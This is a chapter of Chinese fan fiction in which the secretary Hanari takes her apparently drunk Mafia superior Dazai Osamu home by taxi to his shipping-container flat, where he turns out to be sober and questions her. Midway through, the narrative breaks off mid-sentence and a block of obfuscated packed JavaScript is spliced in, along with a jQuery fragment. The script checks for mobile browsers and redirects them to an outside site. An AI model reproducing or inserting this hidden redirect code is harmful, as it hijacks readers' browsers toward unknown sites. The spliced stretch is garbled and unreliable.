42. 送他回家
作品:《说好是RPG怎么成真了》 炸鱼薯条的香气适时飘来,花理立刻化悲愤为食欲,抓起叉子埋头苦干,决定用食物堵住自己的嘴,也避免再跟旁边那个祸害进行任何可能导致血压升高的对话。
太宰治在她那句话后停顿片刻,低低笑了起来,肩膀微颤。他没再继续说些什么,只是懒洋洋地重新支起下巴,侧着身,专注地看着她以一种带着点悲壮气势咀嚼薯条的样子。
那目光像带着实质性的热度,让花理觉得头皮发麻,连嘴里的食物都变得有点难以下咽。
酒保将一杯新倒的纯净水轻轻放到太宰治面前,大概也觉得这位干部今晚的疯劲需要点清水调和。太宰治修长的手指无意识地摩挲着冰凉的水杯杯壁,指甲偶尔擦过发出嚓声。
在太宰治那存在感过强的安静注视中,织田作安静地喝着自己的酒,目光偶尔扫过这对氛围微妙的上司和下属,平静得仿佛在欣赏一部默片。花理不言,只是闭上眼,一味地干饭。
直到花理解决了大半盘食物,胃里有了些暖意,紧绷的神经才稍稍松懈。太宰治忽然开口,声音很轻,带着一种酒后特有的、略显飘忽的质感。
“……花理。”他大概是有些醉了,眼里迷蒙着一层雾气,慢悠悠地从座位上站起来,掏出几张万元大钞压在酒杯下,声音不高,站直了居高临下看她。
“送我回去吧。”
花理:“……”
她自然是一万个不愿意再延长下班时间了,但是太宰治抗议的“诶?秘书不就是做这个的吗!”还是不得已站起来送他,太宰治那颗毛茸茸的脑袋带着沉甸甸的重量,压在了她的肩膀上。
温热带着淡淡消毒水和酒气的气息瞬间笼罩了她。他脸颊的温度隔着衣料清晰地传来,微卷的黑发蹭着她的脖颈,有点痒。
她叹了一口气,在织田作之助和调酒师“慢走”“一路顺风”的道别语中点点头,艰难地带着大型玩偶太宰治推开门走出去。
离开了Lupin酒吧,两人走进横滨夜晚微凉的街道。晚风一吹,靠在花理肩膀上的太宰治似乎清醒了微乎其微的一毫秒。他迷蒙地睁开眼,看到花理近在咫尺的侧脸。
“呐…花理……”他声音黏糊糊的,带着热气喷在花理耳畔,“刚才…为什么那么说呢……”
他又回到了那个问题,像是在喃喃自语,又像是在问自己,“其实明明很好奇我会不会喝下去吧?……算啦、反正……”
话音未落,他脑袋一歪,彻底将重量压在了花理身上,只有清浅的呼吸声。
花理被他最后那句模糊不清的话搅得心神不宁,一股无名火夹杂着难以言喻的复杂情绪升腾起来。她拿出手机叫车,想把靠在自己肩膀上的脑袋推回原位。太宰治似乎被她的动作弄得不太舒服,皱着眉,又往她颈窝里蹭了蹭。
花理死鱼眼:“太宰大人,这是要加钱的。下班三倍津贴和……不想你这一面暴露的封口费、您会打给我的吧?”
不知道是装不懂还是真不懂,他像寻找温暖窝的小动物,还带着醉意的鼻音发出不满的哼哼:“别动。头好痛……”
那语气委屈又孩子气。
“花理,还真是喜欢钱呢。明明对你来说其实没意义吧?”
这句话轻轻的,总觉得有些调侃的意味,花理抬眸看了他一眼。
出租车很快到了,司机看着花理艰难地架着一个明显醉得不省人事的太宰治时,眼中立刻流露出“现在的年轻人啊……”的了然和些许同情。
“去……港口旧施工区。”花理报出太宰治的地址,这下司机怀疑的眼神对准了她,他的视线再次在两人身上游弋,语气带着警惕。
“小姑娘,你这个时间去那里干什么?”
像是思考了一下结局,他停顿后又补充道。
“小年轻感情不好可以分手、没必要……”半夜给人送去当海鲜啊。
在他的未尽之言中,花理无言握拳,而太宰治像是没忍住一样笑出了声,花理马上瞪过去。
“……你醒着吧!”
她好说歹说才说动了司机载他们过去,车门关上,狭窄的空间里只剩下花理和半个身子都歪在她腿上的太宰治,以及前排透过后视镜不时投来一丝好奇目光的司机大叔。
太宰治的呼吸均匀而绵长,看起来睡得很沉,卷翘的睫毛在眼睑下投下淡淡的阴影,安静下来的样子有种脆弱的无害感。只是他实在不轻,压得花理的腿都有些发麻。
但是花理现在坚定地相信、这个人根本没醉!她来回端详太宰治的脸,试图找出一些端倪。太宰治的手臂因为蜷缩的姿势而搭在花理的膝盖附近。借由车窗透进来的忽明忽暗的路灯光线,花理的视线不受控制地落在了他那小臂上,拆下绷带后,有着陈年旧疤的痕迹。看不真切。
车子平稳地驶向横滨僻静的港口旧施工区。司机夸装的脑补让花理放弃了在他视线下继续絮叨试图戳穿太宰治。路灯昏黄的光线断断续续地扫过车厢腿上这位“醉鬼”安详平静,呼吸绵长均匀。
车子最终停在了废弃的集装箱堆放区附近。冷冽的海风带着浓重的咸腥和铁锈味扑面而来,远处的海港灯火在夜幕下闪烁,更衬得这片区域荒凉孤寂。到达目的地,司机停下车。
“小姑娘……确定是这里?”司机大叔的语气充满犹疑和不放心,再次上下打量花理和似乎人事不省的太宰治,“这地方晚上可不太平……”
“嗯,地址没错。”花理面无表情地付了车费,动作略有些粗暴地把太宰治的脑袋从自己腿上挪开,“谢啦师傅。”
她打开车门,冷风让她打了个激灵。深吸一口气,花理几乎是半拖半拽地把这位港口Mafia的年轻干部弄下了车,出租车驶离视线范围。她撑着太宰治的胳膊把人架起来,跌跌撞撞地往他家走。
集装箱的门甚至没锁,绵津见花理张大了嘴,想了想这人家里似乎也不会让人有入室盗窃的冲动,便又气笑了一下。她用脚踢开门,和上次来时看起来差不多,走进去时倒是麻烦许多,一不小心就会踢倒地上的酒瓶。
“……你最好是真的醉了。”花理咬牙切齿地架着太宰治往深处走,后者几乎把全身重量都压在她身上,脚步虚浮得像踩在棉花上,却总能恰到好处地避开地面上的障碍物。
“唔……”太宰治发出一个含糊的音节,温热的鼻息喷在她耳后,“花理、好凶……”
直到她费力地把人扶着坐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16070954|177128||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到床上,太宰治还是那副神志不清的样子。被丢到床上,太宰治发出模糊的哼唧,皱着眉,像是被扰了清梦的小动物,慢悠悠地睁开眼。鸢色的眼眸初时迷蒙,仿佛找不到焦点,但很快就清晰地映出花理那张写满不耐烦的脸。
“……这里是……?”他的声音带着刚睡醒的低哑,目光扫过屋内的装修。
“你家。”花理双手抱臂,气得哼笑一声,太宰治家没有窗户,光线只从两人进来的门内透进来一点。
没了旁人,空气瞬间只剩下静默,两人之间的氛围紧绷而微妙的,就算是游戏花理也不会在夜晚和男性上司再待下去了,她死鱼眼:
“我先走了。太宰大人。还请务必记得我的加班费。”
“……花理。”太宰治微微直起身,那双鸢色的眼睛在月光下清亮得惊人,哪还有半点醉意?心情糟糕的少女不耐烦地回头看他:
“要是谢谢什么的就免了……毕竟我是「干部秘书」嘛。”对他的装醉早有预料,花理倒是不太生气或是惊讶,但语气中还是不由带着点嘲讽。
太宰治坐在那张简陋的行军床上,月光斜斜地打在他半边脸上,将另一半彻底隐没在的黑暗里。那双鸢色的眼眸在昏暗中清亮,直直地锁在花理身上。
花理被他看得心头火起,她不想再纠缠,只想立刻离开这个鬼地方和这个麻烦精上司。转身就要走。
太宰治的声音在寂静的集装箱里响起,不高,却带着一种奇异的穿透力,清晰地传入花理耳中,让她脚步不由自主地顿住。
“对于将要在面前流逝的生命,你都会试图拯救吗?”
然后停顿了一下,像是在斟酌词句,又像是在欣赏她僵硬的背影。
“总是感到可惜、似乎自己明明可以做些什么……”他缓缓开口,声音带着一丝刚“清醒”的低哑,却又异常清晰,“你是这样想的吗?”
花理迎着门缝照进来的月光,扶着额深深叹气。
“……我哪里让你觉得我很有拯救者心态了吗。”
太宰治像是没听出她的疑惑加讽刺,反而微微歪了歪头,脸上露出难得的困惑的表情,仿佛真的在认真思考:“嗯……不是这样吗?”
“……你会为故事中的角色流泪、对吧?”他慢悠悠地复述着,每一个字都敲在花理的神经上
“所以呢?”花理双手抱臂,冷笑着抿了抿唇,对方突兀的提问让她心里有些七上八下,反问,“太宰大人是想提醒我什么?「不适合做Mafia」?……我倒是不想做啊……”
她很少对游戏角色生气,尤其是这种没什么所谓的虚无的议题。但是太宰治轻飘飘的、一而再再而三的试探、对自己生命的随意,总让她有些隐隐的不适,堆积成了叹息和怒火。
太宰治轻轻重复了一遍,随即低低地笑了起来,肩膀微微耸动,在寂静的集装箱里显得有些突兀,
他抬起眼,目光再次落在花理脸上,那眼神深不见底,带着一种近乎审视的探究,“我只是有点好奇……”
他顿了顿,身体微微前倾,月光照亮了他嘴角那抹若有似无的弧度。
“你会为了「故事」的美好结局,做到哪一步呢?”